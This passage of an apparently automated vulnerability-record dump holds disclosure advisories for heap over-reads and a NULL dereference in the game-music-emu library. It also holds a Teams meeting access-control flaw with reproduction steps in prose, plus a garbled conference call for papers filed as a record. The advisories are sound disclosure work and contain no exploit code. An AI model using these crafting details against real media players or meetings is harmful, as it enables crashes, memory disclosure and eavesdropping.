fe8da4b. Default builds; no fixed version is\nverified.\n\n[-] Technical Description:\nThe command loop of Vgm_Emu_Impl::run_commands() (gme/Vgm_Emu_Impl.cpp) is\nbounded only by\n\n while ( vgm_time < end_time && pos < data_end )\n\nwhich validates the position of the opcode byte and nothing else. Each\nopcode handler then fetches its operands from pos unconditionally. The\nsource records the gap in a TODO at the loop head: \"be sure there are\nenough bytes left in stream for particular command so we don't read past\nend\".\n\nWhen a command stream ends right after an opcode byte, the operand fetch\ncrosses the end of the allocation made by Gme_File::load_(). Maximum\nover-read per handler:\n\n - PSG and Game Gear register writes (*pos++): 1 byte\n - 16-bit delay 0x61 (pos[0], pos[1]): up to 2 bytes\n - YM2413 and YM2612 register writes: up to 2 bytes\n - PCM seek 0xE0 (pos[0] .. pos[3]): up to 4 bytes\n - data block header 0x67 (pos[1], get_le32( pos + 2 )): up to 6 bytes\n\nThe bytes read are consumed as sound-chip register data, so adjacent heap\ncontents can influence the decoded audio (limited, indirect disclosure).\nAddressSanitizer aborts on the over-read; the researcher's two\nproof-of-concept files reproduce it at two sites (a trailing 0x50 PSG\nwrite and a trailing 0x67 data block header). Under a standard allocator a\nread of this size normally stays within the same chunk, so a crash is\nlayout-dependent rather than reliable. No write, length control or code\nexecution is shown.\n\nReachability: VGM/VGZ support is in the default build. FFmpeg's\nlibavformat/libgme.c calls gme_open_data() and then gme_start_track()\ninside read_header_gme(), so a server-side transcoder reaches the defect\nwhile merely reading a file's header. VLC exposes the library through its\ngme demux module, which handles VGM and VGZ.\n\nWeaknesses:\nCWE-125: Out-of-bounds Read\nCWE-126: Buffer Over-read\nCAPEC-540: Overread Buffers\n\n[-] Credit:\nDiscovered by netspacer1124 (https://github.com/netspacer1124).\n\n[-] Full Details and Updates:\nhttps://notcve.org/notcve/NotCVE-2026-0019\n\n[-] Main References:\nhttps://github.com/libgme/game-music-emu\nhttps://raw.githubusercontent.com/libgme/game-music-emu/0.6.5/gme/Vgm_Emu_Impl.cpp\nhttps://ffmpeg.org/doxygen/5.1/libgme_8c_source.html\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ · Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-125","description":"CWE-125","lang":"en","type":"CWE"},{"cweId":"CWE-126","description":"CWE-126","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/95"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/95"},{"url":"https://ffmpeg.org/doxygen/5.1/libgme_8c_source.html"},{"url":"https://github.com/libgme/game-music-emu"},{"url":"https://github.com/netspacer1124"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://notcve.org"},{"url":"https://notcve.org/form/"},{"url":"https://notcve.org/hall/"},{"url":"https://notcve.org/notcve/NotCVE-2026-0019"},{"url":"https://raw.githubusercontent.com/libgme/game-music-emu/0.6.5/gme/Vgm_Emu_Impl.cpp"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/95"],"discovery":"EXTERNAL"},"title":"[NotCVE-2026-0019] game-music-emu through 0.6.5 VGM Command Interpreter Missing Operand Length Check Allows Heap Out-of-Bounds Read","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0423","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/95","automated":true,"contentSha256":"98db2aa0360d4b5883a4049270315097b495f538dac159416177946e491b2bcc","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/95","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-29T08:31:36Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0423"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"game-music-emu libgme","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"advisories"}],"descriptions":[{"lang":"en","value":"----------------------------------------------------------------------------\nNotCVE Advisory — NotCVE-2026-0018\n----------------------------------------------------------------------------\n\n[-] Summary:\nAn out-of-bounds read in the GYM playback path of game-music-emu (libgme),\nthe open-source video game music emulation library, allows an attacker who\nsupplies a crafted .gym file to read heap memory past the end of the\nallocation holding the file contents, potentially terminating the process.\nCVSS:3.1 5.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L).\n\n[-] Affected:\ngame-music-emu (libgme) through 0.6.5 (present since at least 0.5.5), and\nmaster as of commit fe8da4b. No fixed version is verified: upstream issue\n#166, opened on 13 July 2026, describes the parse_frame defect and has had\nno maintainer response.\n\n[-] Technical Description:\nThe command loop of Gym_Emu::parse_frame() in gme/Gym_Emu.cpp is\n\n while ( (cmd = *pos++) != 0 )\n\nand terminates only on a 0x00 byte, with no bound against data_end.\nOperands are then read unconditionally after the opcode: int data = *pos++\nand, for a YM2612 port-0 register write (cmd == 1), a second\nint data2 = *pos++. A file whose final frame ends mid-command therefore\nreads 1 to 2 bytes past the end of the buffer. The if ( pos >= data_end )\ncheck only runs after the loop has already walked off the end.\n\nA second, broader unbounded scan exists in run_dac(), which looks ahead\nwith while ( (cmd = *p++) != 0 ) and no data_end bound at all. When the\nfinal frame contains a DAC write (YM2612 register 0x2A on port 0) and no\n0x00 follows before the end of the allocation, it can walk arbitrarily far\npast the buffer, stopping on whatever zero byte adjacent heap memory\nsupplies. This second path is confirmed by reading the source at master\nand 0.6.5, but is not exercised by the supplied proof-of-concept files.\n\nReachability: both paths run from gme_start_track() as soon as playback\nbegins (Music_Emu::start_track() -> ... -> Gym_Emu::play_frame() ->\nparse_frame()). The file only needs the 428-byte GYMX header for\ngme_identify_header() to route it to Gym_Emu. FFmpeg's\nlibavformat/libgme.c and VLC's modules/demux/gme.c both hand\nattacker-supplied bytes to this path. The metadata (track length) path is\nnot affected.\n\nWeaknesses:\nCWE-125: Out-of-bounds Read\nCWE-126: Buffer Over-read\nCAPEC-540: Overread Buffers\n\n[-] Credit:\nDiscovered by netspacer1124 (https://github.com/netspacer1124).\n\n[-] Full Details and Updates:\nhttps://notcve.org/notcve/NotCVE-2026-0018\n\n[-] Main References:\nhttps://github.com/libgme/game-music-emu/issues/166\nhttps://raw.githubusercontent.com/libgme/game-music-emu/0.6.5/gme/Gym_Emu.cpp\nhttps://github.com/libgme/game-music-emu\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ · Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-125","description":"CWE-125","lang":"en","type":"CWE"},{"cweId":"CWE-126","description":"CWE-126","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/94"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/94"},{"url":"https://github.com/libgme/game-music-emu"},{"url":"https://github.com/libgme/game-music-emu/issues/166"},{"url":"https://github.com/netspacer1124"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://notcve.org"},{"url":"https://notcve.org/form/"},{"url":"https://notcve.org/hall/"},{"url":"https://notcve.org/notcve/NotCVE-2026-0018"},{"url":"https://raw.githubusercontent.com/libgme/game-music-emu/0.6.5/gme/Gym_Emu.cpp"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/94"],"discovery":"EXTERNAL"},"title":"[NotCVE-2026-0018] game-music-emu (libgme) through 0.6.5 Unbounded GYM Command Loop Allows Heap Out-of-Bounds Read","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0422","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/94","automated":true,"contentSha256":"3878efdb4d58d208a2366f5164763704bb97ed9449567c22ec0facdf3e2096b9","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/94","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-29T08:29:30Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0422"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"game-music-emu libgme","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"advisories"}],"descriptions":[{"lang":"en","value":"----------------------------------------------------------------------------\nNotCVE Advisory — NotCVE-2026-0017\n----------------------------------------------------------------------------\n\n[-] Summary:\nA NULL pointer dereference in the AY file loader of game-music-emu\n(libgme), the open-source video game music emulation library, allows an\nattacker who supplies a crafted .ay file to terminate any application that\nbegins playback of it. CVSS:3.1 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).\n\n[-] Affected:\ngame-music-emu (libgme) 0.6.5 and earlier (present in 0.6.0 and 0.6.5),\nand master as of commit fe8da4b. Default builds; no fixed version is\nverified.\n\n[-] Technical Description:\nget_data() resolves the format's internal 16-bit relative offsets and\nreturns 0 when an offset word is 0x0000, as well as when the target would\nfall outside the file buffer. The data-block copy loop in\nAy_Emu::start_track_() (gme/Ay_Emu.cpp) uses that result without testing\nit:\n\n - the block's source pointer comes from get_data( file, blocks, 0 ) and\n is never compared against NULL;\n - the only guard before the copy, if ( len > uint32_t (file.end - in) ),\n compares len against the low 32 bits of the buffer's end address when\n in == NULL, so it does not reliably clamp;\n - execution reaches memcpy( mem.ram + addr, in, len ) with in == NULL.\n\nThe process terminates with SIGSEGV. The invalid access is a read from\naddress 0, so no attacker-controlled data is read or written; the impact\nis denial of service of the process that parses the file.\n\nReachability: the AY handler is part of a default build\n(option(USE_GME_AY ... ON)) and is reached from the public entry point\ngme_start_track() via Music_Emu::start_track(). The condition is a\ntwo-byte field in an otherwise structurally valid file, so it survives\ntype detection and track enumeration. FFmpeg documents optional use of the\nlibrary; the researcher additionally names VLC, Kodi and Audacious as\nconsumers.\n\nCommit ae10a8f (\"Ay_Emu.cpp: Don't read farther than buffer allows\",\nJuly 2026) changed get_data() to return 0 instead of asserting when the\npointer is out of range. That widens the set of inputs that produce a NULL\nreturn in release builds and does not add the missing check.\n\nWeaknesses:\nCWE-476: NULL Pointer Dereference\nCWE-252: Unchecked Return Value\nCAPEC-165: File Manipulation\n\n[-] Credit:\nDiscovered by netspacer1124 (https://github.com/netspacer1124).\n\n[-] Full Details and Updates:\nhttps://notcve.org/notcve/NotCVE-2026-0017\n\n[-] Main References:\nhttps://github.com/libgme/game-music-emu\nhttps://github.com/libgme/game-music-emu/blob/0.6.5/gme/Ay_Emu.cpp\nhttps://github.com/libgme/game-music-emu/commit/ae10a8f\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ · Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-252","description":"CWE-252","lang":"en","type":"CWE"},{"cweId":"CWE-476","description":"CWE-476","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/93"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/93"},{"url":"https://github.com/libgme/game-music-emu"},{"url":"https://github.com/libgme/game-music-emu/blob/0.6.5/gme/Ay_Emu.cpp"},{"url":"https://github.com/libgme/game-music-emu/commit/ae10a8f"},{"url":"https://github.com/netspacer1124"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://notcve.org"},{"url":"https://notcve.org/form/"},{"url":"https://notcve.org/hall/"},{"url":"https://notcve.org/notcve/NotCVE-2026-0017"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/93"],"discovery":"EXTERNAL"},"title":"[NotCVE-2026-0017] game-music-emu (libgme) 0.6.5 and Earlier AY Loader NULL Pointer Dereference Allows Denial of Service","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0421","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/93","automated":true,"contentSha256":"f4228a322dee4f4e825108e8305b1e84ce64d82c11ed5e593e413bfb1fc085e5","evidenceScore":8,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/93","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-29T08:27:24Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0421"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"game-music-emu VGM Command","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"advisories"}],"descriptions":[{"lang":"en","value":"----------------------------------------------------------------------------\nNotCVE Advisory — NotCVE-2026-0016\n----------------------------------------------------------------------------\n\n[-] Summary:\nAn out-of-bounds read in the VGM command interpreter of game-music-emu\n(libgme), the open-source video game music emulation library, allows an\nattacker who supplies a crafted .vgm or .vgz file to crash the hosting\nprocess or to have adjacent heap memory influence the rendered audio, via\na PCM seek command whose offset is never validated. CVSS:3.1 7.1\n(AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H).\n\n[-] Affected:\ngame-music-emu (libgme) through 0.6.5, and master as of commit fe8da4b.\nDefault builds; no fixed version is verified.\n\n[-] Technical Description:\nVgm_Emu_Impl::run_commands() in gme/Vgm_Emu_Impl.cpp handles VGM command\n0xE0 (cmd_pcm_seek) by building an interior pointer straight from file\ncontent:\n\n case cmd_pcm_seek:\n pcm_pos = pcm_data + pos [3] * 0x1000000L + pos [2] * 0x10000L +\n pos [1] * 0x100L + pos [0];\n pos += 4;\n break;\n\npcm_data points into the decompressed file buffer, set by a preceding 0x67\n(cmd_data_block) command. The 32-bit little-endian operand is\nattacker-controlled and is compared neither against the declared\ndata-block size nor against data_end, so pcm_pos can be placed up to 4 GiB\npast the end of the allocation. The following 0x80-0x8F (cmd_pcm_delay)\ncase then executes write_pcm( vgm_time, *pcm_pos++ ), dereferencing the\npointer without a bounds check of its own. The reporter's AddressSanitizer\nlog records a SEGV on a read at Vgm_Emu_Impl.cpp:255 in run_commands().\n\nWhen the computed address is unmapped the read faults and the process\nterminates; when it is mapped, the byte read becomes part of the decoded\naudio, so memory adjacent to the file buffer can influence\nattacker-observable output.\n\nReachability: the VGM emulator is part of the default build, and the\ncommand stream runs during gme_start_track(), on the file-open path. VLC's\nmodules/demux/gme.c calls gme_start_track() from its demuxer Open\nfunction, and FFmpeg links the library when built with --enable-libgme. No\nauthentication, privileges or configuration change are needed; the file\nonly has to reach a libgme consumer.\n\nUpstream issue #165 reports a related but different overread in the same\nfunction (unchecked command argument bytes); it is not this defect.\n\nWeaknesses:\nCWE-823: Use of Out-of-range Pointer Offset\nCWE-125: Out-of-bounds Read\nCAPEC-540: Overread Buffers\nCAPEC-129: Pointer Manipulation\n\n[-] Credit:\nDiscovered by netspacer1124 (https://github.com/netspacer1124).\n\n[-] Full Details and Updates:\nhttps://notcve.org/notcve/NotCVE-2026-0016\n\n[-] Main References:\nhttps://github.com/libgme/game-music-emu\nhttps://raw.githubusercontent.com/libgme/game-music-emu/0.6.5/gme/Vgm_Emu_Impl.cpp\nhttps://github.com/videolan/vlc/blob/master/modules/demux/gme.c\n\n[-] About NotCVE:\nNotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to\nvulnerabilities not acknowledged by vendors. Vendor will not assign a CVE?\nRequest a NotCVE: https://notcve.org/form/ · Contributors:\nhttps://notcve.org/hall/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-125","description":"CWE-125","lang":"en","type":"CWE"},{"cweId":"CWE-823","description":"CWE-823","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/92"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/92"},{"url":"https://github.com/libgme/game-music-emu"},{"url":"https://github.com/netspacer1124"},{"url":"https://github.com/videolan/vlc/blob/master/modules/demux/gme.c"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://notcve.org"},{"url":"https://notcve.org/form/"},{"url":"https://notcve.org/hall/"},{"url":"https://notcve.org/notcve/NotCVE-2026-0016"},{"url":"https://raw.githubusercontent.com/libgme/game-music-emu/0.6.5/gme/Vgm_Emu_Impl.cpp"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/92"],"discovery":"EXTERNAL"},"title":"[NotCVE-2026-0016] game-music-emu VGM Command Interpreter Unvalidated 0xE0 PCM Seek Offset Allows Out-of-Bounds Read and Denial of Service","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0420","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/92","automated":true,"contentSha256":"fb1c944970260cb0d7b8467a8c1a9c2d3bbaec1f2d89a79624890ae0dd35bd4a","evidenceScore":8,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/92","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-29T08:25:18Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0420"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"Teams meeting audio","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Jacob Greenway"}],"descriptions":[{"lang":"en","value":"Hi Full Disclosure team,\n\nI'm not a traditional security researcher by background - I found this\nwhile working with the ACS and Teams SDKs and followed it through to a full\nwriteup and PoC. I've done my best to be accurate and responsible\nthroughout (reporting to MSRC first, giving advance notice of this\ndisclosure date, and only testing against meetings/tenants I own), but if\nanything here is imprecise or doesn't match community conventions, I\napologize in advance and welcome corrections.\n\n\n\n\n\n\n*Vendor: MicrosoftProduct: Azure Communication Services (Call Automation) /\nMicrosoft TeamsVulnerability class: Improper Access Control (CWE-284 /\nCWE-863) - missing re-authorization after a privilege/session-revoking\neventReported to vendor: 2026-08-19MSRC case number: VULN-213672Public\ndisclosure date: 2026-09-15*\n\n--- Description ---\n\nAzure Communication Services (ACS) Call Automation's connectCall operation\ncan attach an independent media/control session to an in-progress Microsoft\nTeams meeting using only the meeting's serverCallId. This identifier is\navailable to any current participant in the meeting - it's surfaced by both\nthe Teams desktop and web clients, and by the ACS Calling SDK's own\ncall.info.getServerCallId() API (used here purely as a clean, reproducible\ncapture method, not because ACS is a privileged or required path to the\nvalue).\n\nAs long as the target meeting's lobby is disabled, possession of the\nserverCallId alone is treated as sufficient authorization for connectCall\nto keep delivering:\n- Live audio, via Call Automation media streaming, and\n- Participant/roster metadata, via ParticipantsUpdated events\n\nto the caller's own ACS resource - which can belong to a completely\ndifferent Azure subscription/tenant than the meeting organizer's.\n\nCritically, this access is never revalidated against the caller's current\nmembership in the meeting. If a participant who previously captured the\nserverCallId and established a connectCall session is later explicitly\nremoved (\"kicked\") from the meeting by the organizer, that removal has no\neffect on the independent connectCall session: live audio and roster\nmetadata continue to be delivered to the attacker's ACS resource for the\nremainder of the meeting.\n\nAffected component: Azure Communication Services - Call Automation API,\nconnectCall operation; the Microsoft Teams meeting authorization boundary\n(lobby / admission control / participant removal).\n\nImpact: An unauthorized party can continue listening to live meeting audio\nand tracking every participant's presence/roster changes after having been\nexplicitly removed by the meeting organizer - undermining the one control\nTeams gives hosts to enforce \"this person is no longer part of the\nmeeting.\" This affects the confidentiality of every participant in the\nmeeting, not just the removed attacker, since their live audio and presence\ndata keeps flowing to a third party the organizer explicitly tried to\nexclude.\n\n--- Steps to reproduce ---\n\nFull harness source, setup instructions, and screenshots are in the repo\nlinked below (poc/README.md). Summary:\n\n1. The attacker joins the target Teams meeting, which has its lobby\ndisabled, as a normal participant and retrieves the meeting's internal\nserver call identifier using a documented capability of the Azure\nCommunication Services calling SDK.\n2. The attacker starts a Call Automation media server and instructs Azure\nCommunication Services to attach an independent session to the meeting\nusing that captured identifier, requesting live audio streaming. Azure\nimmediately begins delivering live audio and participant roster updates to\nthe attacker's own communication resource, confirmed by the connection and\nstreaming-started notifications it sends back.\n3. The meeting organizer removes the attacker's original participant from\nthe meeting using Teams' built-in \"Remove from meeting\" action.\n4. Observed result: the attacker's original Teams client session\ndisconnects as expected, but the independent session from step 2 is not\ntorn down. Live audio and roster metadata continue to arrive at the\nattacker's communication resource for the remainder of the meeting, with no\ncorresponding disconnection notification for that session.\n\n--- Disclosure timeline ---\n\n2026-08-19 - Reported to Microsoft (MSRC case VULN-213672).\n2026-08-27 - MSRC acknowledged the report (automated response: reviewing,\nnext steps pending).\n2026-09-01 - I requested a status update on reproduction on Microsoft's\nside, then confirmed an intended public disclosure date of 2026-09-14.\n2026-09-13 - I notified MSRC that public disclosure would follow the next\nday and offered to delay if MSRC responded within ~24 hours.\n2026-09-15 - No further response received from MSRC. Public disclosure, as\npreviously stated and with prior notice given.\n\nFull writeup, PoC source, and screenshots:\nhttps://github.com/Tryptophan/teams-meeting-audio-vulnerability\n\nPlease let me know if you have any questions!\n\nBest,\nJacob Greenway\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"problemTypes":[{"descriptions":[{"cweId":"CWE-284","description":"CWE-284","lang":"en","type":"CWE"},{"cweId":"CWE-863","description":"CWE-863","lang":"en","type":"CWE"}]}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description","exploit"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/43"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/43"},{"url":"https://github.com/Tryptophan/teams-meeting-audio-vulnerability"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/43"],"discovery":"EXTERNAL"},"title":"Teams meeting audio and roster data remain accessible via ACS Call Automation connectCall after a participant is removed from the meeting","x_gcve":[{"recordType":"advisory","relationships":[],"vulnId":"GCVE-1988-2026-0419","x_vulnarchive":{"archiveUrl":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/43","automated":true,"contentSha256":"2d6b8b4b8347d43b845ba976b026289406c9c3cc7c154974fde1f391eb9daefb","evidenceScore":10,"messageId":"","originalUrl":"https://seclists.org/fulldisclosure/2026/Sep/43","policy":"vulnarchive-1","sourceFormat":"text/html","sourcePublishedAt":"2026-09-16T05:58:27Z"}}]}},"cveMetadata":{"assignerOrgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","assignerShortName":"VULNARCHIVE","datePublished":"2026-10-02T04:57:33Z","dateUpdated":"2026-10-02T04:57:33Z","state":"PUBLISHED","vulnId":"GCVE-1988-2026-0419"},"dataType":"CVE_RECORD","dataVersion":"5.2"},{"containers":{"cna":{"affected":[{"product":"CFP No cON","vendor":"unknown","versions":[{"status":"affected","version":"unknown"}]}],"credits":[{"lang":"en","type":"finder","value":"Jose Nicolas Castellano"}],"descriptions":[{"lang":"en","value":"No cON Name 2026 - Palma, Mallorca - Balearic Islands\n\n************************************\n*****  Call For Papers        ******\n************************************\n\nhttps://www.noconname.org/call-for-papers/\n\nExact place not disclosed until a few weeks before due celebration.\n\n    * INTRODUCTIONfulldisclosure () seclists org\n\nmost  respected hacker conferences in  Palma and Spain, NcN (No cON\nName). We will cellebrate as the last edition, at the moment 1 track:\n\n    * Cybersecurity Track (November 26-27th)\n\n\ncommunity.\n\n    * FORMAT & REQUIREMENTS\n  - Language: English ( We will choose almost 75% ) or Spanish\n\n    in next paragraph, and filled in through the web site\n\n    organization to evaluate the proposal.\n\n    evidences, code, etc)\n\n\n\n\ndeadline (detailed in the important dates section below):\n\n    delivered in the conferences notebook. MANDATORY\n  - Presentation and exhibition  material: All the material\n\n    day of the event nimbly. MANDATORY\n\n    * CONTENTS\nWe will require the following info to review your CFP:\n\nDATA                         DESCRIPTION\nPreferred contact method     Alias, email, X account, Telegram, Signaletc.\n Name & Surname*\n Alias *\n Email *\n Phone nº *\n X id\n City/Country of residence *\nProposal\n Proposal type *             Speaking presentation or Workshop presentation\n Representing *              Individual or company name\n Category *                  See: RELEVANT TOPICS\n\n                             Workshop (presentation + demo):  45 minutes\n                             or 1,5 hours.\n Title of the paper *:       Presentation's / Workshops Title\n\n                             risks.\n\n                             and perhaps solutions to the current issue.\n Description *               Presentation's / Workshop's description\n\n                             experience, your current interests.\n\n    * RELEVANT TOPICS\nThe areas of interest that have been proposed, not restricted to, are:\n\n  - Offensive security.\n  - Evading / In-depth research of Phishing / Malware.\n  - Security & exploiting SCADA / ICS.\n  - Internet privacy and net neutrality (EPIC).\n  - Honeypots / Honeynets.\n  - Web explorers' security.\n  - Hardware hacking.\n  - New vulnerabilities and 0-day exploits.\n  - Healthcare sucurity / risks\n  - (in)Security in the automotive industry\n  - Software Testing/Fuzzing.\n  - Advanced Penetration testing techniques.\n  - Mobile Application Security-Threats and Exploits.\n  - Network and Router Hacking\n  - Mobile, Satellite, IP networks security\n  - SDR (Software defined radio)\n  - Hacking virtualized envirorments\n  - Computer/electronic forensics\n  - Bluetooth vulnerabilities.\n\n  - Videconference application vulnerabilities.\n\n    * DEADLINES\n\n  - CFP Requests closing: October 15th 2026.\n  - CFP Approval: October, 20th 2026.\n  - Materials presentation due: November, 1st  2026\n  - (Cybersecurity Track) Conference's date: November, 26th,27th 2026\n\n\n    * SENDING YOUR CFP\nAll requests must be submitted through our site at:\n  https://www.noconname.org/call-for-papers/\n\n\n    - EVALUATION CRITERIA FOR PROPOSALS\n\nwing score:\n\n\n    presentation\n\n    appreciated)\n\n    industry.\n  - Your speaking reputation            10%\n  - Relevant topic proposed by the No cON Name staff         5%\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"}],"providerMetadata":{"dateUpdated":"2026-10-02T04:57:33Z","orgId":"4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c","shortName":"VULNARCHIVE"},"references":[{"tags":["technical-description"],"url":"https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/48"},{"tags":["technical-description"],"url":"https://seclists.org/fulldisclosure/2026/Sep/48"},{"url":"https://nmap.org/mailman/listinfo/fulldisclosure"},{"url":"https://seclists.org/fulldisclosure/"},{"url":"https://www.noconname.org/call-for-papers/"}],"source":{"defect":["https://seclists.org/fulldisclosure/2026/Sep/48"],"discovery":"EXTERNAL"},"title":"CFP No cON Name 2k26 - Palma, 